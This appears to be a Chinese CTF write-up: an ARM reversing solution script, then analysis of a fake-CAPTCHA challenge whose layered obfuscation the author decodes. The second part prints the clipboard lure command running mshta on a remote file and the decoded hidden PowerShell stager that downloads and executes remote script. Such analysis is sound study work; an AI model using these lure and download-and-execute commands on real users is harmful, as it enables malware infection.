LILCTF-Re&Crypto

好精彩的比赛😀虽然过程很艰难，收获还是很大的

Reverse

ARM ASM

apk先用jadx分析

发现check函数在native层，并且找到了密文，解压分析ez_asm_hahaha.so

分析check函数逻辑：首先验证输入字符数是否为48，

第一次使用表 t对输入字节进行重排列，将重排列后的结果与表 t进行异或并且每次循环t与i进行异或，

第二次位旋转，每三字节一组，第一字节循环左移3位，第二字节循环右移1位，第三字节不变

第三次进行自定义base64编码

完整解题脚本：

import base64

# ============ 自定义 Base64 映射表 ============
CUSTOM_B64 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"

# ============ 密文 ============
TARGET_B64 = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"

T0 = [0xD, 0xE, 0xF, 0xC, 0xB, 0xA, 9, 8, 6, 7, 5, 4, 2, 3, 1, 0]

def rol(x, n):
    x &= 0xFF
    return ((x << n) | (x >> (8 - n))) & 0xFF

def ror(x, n):
    x &= 0xFF
    return ((x >> n) | (x << (8 - n))) & 0xFF

def b64_decode_with_custom_table(s: str, custom_table: str) -> bytes:
    """把自定义 Base64 字符串映射回标准表后用标准库解码。"""
    std_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    # 建立自定义->标准的字符映射
    trans = str.maketrans(custom_table, std_table)
    std_s = s.translate(trans)
    # 填充处理：标准库需要长度是 4 的倍数
    pad = (-len(std_s)) % 4
    if pad:
        std_s += "=" * pad
    return base64.b64decode(std_s)

# 逆 Step2：逆掉每 3 字节一组的位旋转
# 正向：b0 = ROR5(b0), b1 = ROR1(b1), b2 = b2
# 逆向：b0 = ROL5(b0), b1 = ROL1(b1), b2 = b2
def invert_bit_rotations(buf48: bytes) -> bytes:
    if len(buf48) != 48:
        raise ValueError(f"期望 48 字节，得到 {len(buf48)}")
    b = bytearray(buf48)
    for j in range(0, 48, 3):
        b[j]     = rol(b[j], 5)
        b[j + 1] = rol(b[j + 1], 1)
        # b[j + 2] 不变
    return bytes(b)

# 逆 Step1：逆掉“洗牌 + XOR”
# 正向（每块 16 字节）： y[j] = x[ t[j] ] ^ t[j]
# 逆向：先 z = y ^ t，然后 x[k] = z[ inv_t[k] ]，其中 inv_t 满足 t[inv_t[k]] = k
def invert_block(y_block: bytes, t_index: list[int]) -> bytes:
    assert len(y_block) == 16 and len(t_index) == 16
    # z = y ^ t
    z = [ y_block[i] ^ (t_index[i] & 0xFF) for i in range(16) ]
    # 构造 inv_t
    inv_t = [0]*16
    for j, idx in enumerate(t_index):
        if not (0 <= idx < 16):
            raise ValueError("t 内应全为 0..15 的索引字节")
        inv_t[idx] = j
    # 还原 x
    x = [0]*16
    for k in range(16):
        x[k] = z[ inv_t[k] ]
    return bytes(x)

def xor_table_with_byte(tbl: list[int], val: int) -> list[int]:
    return [ (b ^ (val & 0xFF)) & 0xFF for b in tbl ]

def recover_plain_from_target():
    # 1) 自定义 Base64 解码 -> 48 字节
    enc = b64_decode_with_custom_table(TARGET_B64, CUSTOM_B64)
    if len(enc) != 48:
        raise ValueError(f"自定义 Base64 解码后不是 48 字节，而是 {len(enc)}，请检查密文/表是否正确。")

    # 2) 逆掉位旋转（对应源码的第二步）
    after_unrotate = invert_bit_rotations(enc)

    # 3) 逆第一步（NEON 洗牌 + XOR），注意 t 的演化：
    # 源码 for i=0..2:
    #   y_i = shuffle(x_i, t) ^ t
    #   t ^= dup(i)   // 每个字节都异或 i
    #
    # 因为 t 在“完成当前块后”才更新，所以三个块用到的 t 分别是：
    #   块0: t0
    #   块1: t0
    #   块2: t0 ^ 0x01
    blocks = [after_unrotate[i*16:(i+1)*16] for i in range(3)]

    if sorted(T0) != list(range(16)):
        raise ValueError("T0 必须是 0..15 的置换（每个值恰好出现一次）。请从 ELF 符号 t 正确抄值。")

    t_blk0 = T0
    t_blk1 = T0
    t_blk2 = xor_table_with_byte(T0, 0x01)

    x0 = invert_block(blocks[0], t_blk0)
    x1 = invert_block(blocks[1], t_blk1)
    x2 = invert_block(blocks[2], t_blk2)

    plain = x0 + x1 + x2
    return plain

if __name__ == "__main__":
    plain = recover_plain_from_target()
    print("Recovered bytes (hex):", plain.hex())
    try:
        print("Recovered as UTF-8 :", plain.decode("utf-8"))
    except UnicodeDecodeError:
        print("Recovered is not valid UTF-8; raw bytes printed above.")

1’M no7 A rO6oT

很有趣的恶意脚本分析

打开靶机按一下发现复制以下内容

powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://challenge.xinshi.fun:49037/Coloringoutomic_Host.mp3   http://challenge.xinshi.fun:49037/Coloringoutomic_Host.mp3 #     ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086

在http://challenge.xinshi.fun:49037/Coloringoutomic_Host.mp3文件中发现一段js代码

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,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script>

有混淆，写脚本还原一下

SK=102,UP=117,tV=110,Fx=99,nI=116,pV=105,wt=111,RV=32,wV=82,Rp=106,kz=81,CX=78,GH=40,PS=70,YO=86,kF=75,PO=113,QF=41,sZ=123,nd=118,Ge=97,sV=114,wl=104,NL=121,Ep=76,uS=98,Lj=103,ST=61,Ix=34,Im=59,Gm=101,YZ=109,Xj=71,Fi=48,dL=60,cX=46,ho=108,jF=43,Gg=100,aV=90,uD=67,Nj=83,US=91,tg=93,vx=45,xv=54,QB=49,WT=125,FT=55,yN=51,ff=44,it=50,NW=53,kX=57,zN=52,Mb=56,Wn=119,sC=65,Yp=88,FF=79;
var SxhM = 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console.log(SxhM);

还原出来

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702, 654, 658, 656, 703, 702, 658, 650, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 698, 657, 657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698, 703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654, 702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703, 656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 699, 699, 698, 651, 702, 655, 698, 657, 702, 655, 698, 699, 702, 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 703, 656, 702, 698, 702, 653, 658, 656, 658, 703, 698, 703, 699, 702, 698, 654, 699, 700, 699, 657, 657, 702, 698, 649, 698, 652, 698, 703, 698, 656, 658, 650, 703, 655, 703, 655, 657, 703, 699, 702, 698, 658, 698, 701, 699, 657, 698, 658, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 702, 651, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 657, 701, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654, 702, 654, 702, 654, 702, 702, 703, 656, 640, 645, 640, 647, 724, 651, 726, 640, 642, 633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692, 668, 712, 711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696, 647, 687, 698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633, 640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640, 640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 652, 642]);var emGK = ioRjQN([688,684,700,715,706,713,717,647,684,705,702,709,709]);var ioRjQN = new ActiveXObject(emGK);ioRjQN.Run(ohyLbg, 0, true);

还是很混淆，再解密一下😣

enc1 = [688, 684, 700, 715, 706, 713, 717, 647, 684, 705, 702, 709, 709]
enc2 = [713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720, 633, 650, 633, 646, 702,
        713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717, 702, 701, 633, 646, 711, 712, 713, 633, 637, 670,
        671, 685, 670, 633, 662, 641, 692, 715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716,
        641, 640, 698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702, 650, 658, 700,
        699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700, 702, 702, 702, 657, 698, 658, 698, 651,
        699, 698, 703, 655, 658, 703, 699, 654, 699, 703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652,
        699, 657, 658, 649, 658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658, 649,
        658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 699, 703, 658, 700, 698, 652, 699, 699, 698, 658,
        699, 702, 658, 703, 698, 653, 698, 658, 698, 649, 698, 649, 658, 649, 699, 698, 703, 701, 702, 651, 703, 700,
        658, 649, 699, 700, 698, 652, 699, 699, 698, 658, 699, 702, 699, 703, 698, 653, 698, 658, 698, 649, 698, 649,
        702, 651, 698, 658, 699, 653, 698, 658, 702, 702, 702, 700, 702, 650, 658, 699, 698, 654, 698, 651, 698, 657,
        698, 652, 699, 699, 658, 703, 699, 657, 699, 654, 698, 649, 698, 658, 702, 700, 657, 653, 698, 654, 698, 657,
        698, 657, 698, 658, 698, 651, 702, 700, 702, 650, 657, 701, 699, 702, 698, 699, 699, 658, 698, 650, 698, 658,
        698, 651, 699, 657, 657, 649, 698, 654, 699, 703, 699, 657, 702, 700, 702, 699, 702, 650, 699, 699, 702, 699,
        702, 649, 702, 699, 698, 653, 702, 699, 702, 649, 702, 699, 702, 650, 698, 658, 699, 700, 702, 699, 702, 649,
        702, 699, 658, 658, 698, 651, 699, 702, 698, 658, 699, 703, 699, 657, 699, 702, 698, 654, 698, 703, 699, 657,
        698, 658, 698, 657, 702, 699, 702, 649, 702, 699, 702, 650, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701,
        698, 651, 698, 657, 702, 699, 702, 649, 702, 702, 658, 703, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701,
        699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 699, 698, 653,
        699, 657, 699, 657, 699, 700, 703, 655, 702, 652, 702, 652, 698, 703, 698, 653, 698, 701, 698, 649, 698, 649,
        698, 658, 698, 651, 698, 699, 698, 658, 702, 651, 699, 653, 698, 654, 698, 651, 699, 703, 698, 653, 698, 654,
        702, 651, 698, 698, 699, 658, 698, 651, 703, 655, 703, 657, 703, 698, 703, 653, 703, 654, 703, 658, 702, 652,
        698, 702, 698, 658, 699, 703, 699, 657, 699, 658, 698, 657, 698, 657, 698, 654, 698, 651, 698, 699, 702, 651,
        698, 655, 699, 700, 698, 699, 702, 699, 703, 656, 658, 703, 657, 654, 702, 700, 658, 698, 698, 701, 699, 702,
        698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 700,
        702, 699, 657, 651, 698, 658, 699, 657, 702, 651, 658, 699, 698, 658, 698, 702, 657, 703, 698, 649, 698, 654,
        698, 658, 698, 651, 699, 657, 702, 699, 703, 656, 698, 703, 698, 657, 703, 656, 658, 703, 658, 698, 702, 700,
        698, 703, 703, 657, 657, 653, 702, 700, 702, 653, 702, 651, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658,
        698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658,
        699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652,
        698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657, 657, 658,
        699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651,
        699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658,
        657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657,
        702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 658, 656, 703, 702, 658, 650,
        702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652,
        698, 656, 698, 658, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657,
        698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651,
        657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701,
        698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703,
        699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653,
        699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650,
        698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658,
        698, 650, 698, 702, 698, 658, 699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656,
        702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658,
        698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656,
        698, 658, 702, 699, 702, 655, 698, 657, 657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654,
        702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652,
        698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698, 703, 699, 657, 702, 699, 702, 649,
        703, 701, 702, 649, 703, 701, 702, 654, 702, 654, 702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701,
        699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657,
        702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703, 656, 658, 703, 658, 698,
        702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650,
        658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657,
        657, 653, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 699, 649,
        657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654,
        699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700,
        658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701,
        698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 699, 699,
        698, 651, 702, 655, 698, 657, 702, 655, 698, 699, 702, 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701,
        698, 650, 698, 658, 702, 654, 703, 656, 702, 698, 702, 653, 658, 656, 658, 703, 698, 703, 699, 702, 698, 654,
        699, 700, 699, 657, 657, 702, 698, 649, 698, 652, 698, 703, 698, 656, 658, 650, 703, 655, 703, 655, 657, 703,
        699, 702, 698, 658, 698, 701, 699, 657, 698, 658, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650,
        658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657,
        657, 653, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 702, 651,
        702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701,
        698, 702, 698, 649, 698, 658, 702, 700, 657, 701, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658,
        698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653,
        658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700,
        702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654, 702, 654, 702, 654, 702, 702, 703, 656, 640, 645,
        640, 647, 724, 651, 726, 640, 642, 633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692,
        668, 712, 711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696, 647, 687, 698,
        709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633, 640, 651, 649, 653, 640, 642, 633, 726,
        642, 633, 646, 707, 712, 706, 711, 633, 640, 640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699,
        716, 717, 715, 706, 711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716,
        717, 715, 706, 711, 704, 641, 652, 642]
str1 = ''
str2=''
for i in range(len(enc1)):
    str1 += chr(enc1[i] - 601)
for j in range(len(enc2)):
    str2+=chr(enc2[j]-601)
print(str1)
print(str2)

出来的是

WScript.Shell
powershell.exe -w 1 -ep Unrestricted -nop $EFTE =([regex]::Matches('a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6f8faf4f5f9e3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7','.{2}') | % { [char]([Convert]::ToByte($_.Value,16) -bxor '204') }) -join '';& $EFTE.Substring(0,3) $EFTE.Substring(3)

还是看不懂🫠

import re


def decrypt_powershell_script(hex_str):
    # 每2个字符分割
    hex_pairs = re.findall('.{2}', hex_str)

    # 转换为字节并异或解密
    decrypted_bytes = []
    for pair in hex_pairs:
        byte = int(pair, 16)
        decrypted_byte = byte ^ 0xcc # XOR操作
        decrypted_bytes.append(decrypted_byte)

    # 转换为ASCII字符
    decrypted_chars = [chr(b) for b in decrypted_bytes]

    # 拼接成完整字符串
    decrypted_script = ''.join(decrypted_chars)

    return decrypted_script


# 示例使用（替换为实际的长字符串）
hex_string = "a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6f8faf4f5f9e3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7"
decrypted = decrypt_powershell_script(hex_string)
print(decrypted)

解出来的是

iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','h','-ep','Unrestricted','-Command',"Set-Variable 3 'http://challenge.xinshi.fun:46895/bestudding.jpg';SI Variable:/Z4D 'Net.WebClient';cd;SV c4H (.`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member)[2].Name).Invoke(`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member|Where{(GV _).Value.Name-clike'*dName'}).Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)|Where{(GV _).Value.Name-clike'*wn*d*g'}).Name);&([ScriptBlock]::Create((Get-Variable c4H -ValueO).((Get-Variable A).Value).Invoke((Variable 3 -Val))))";

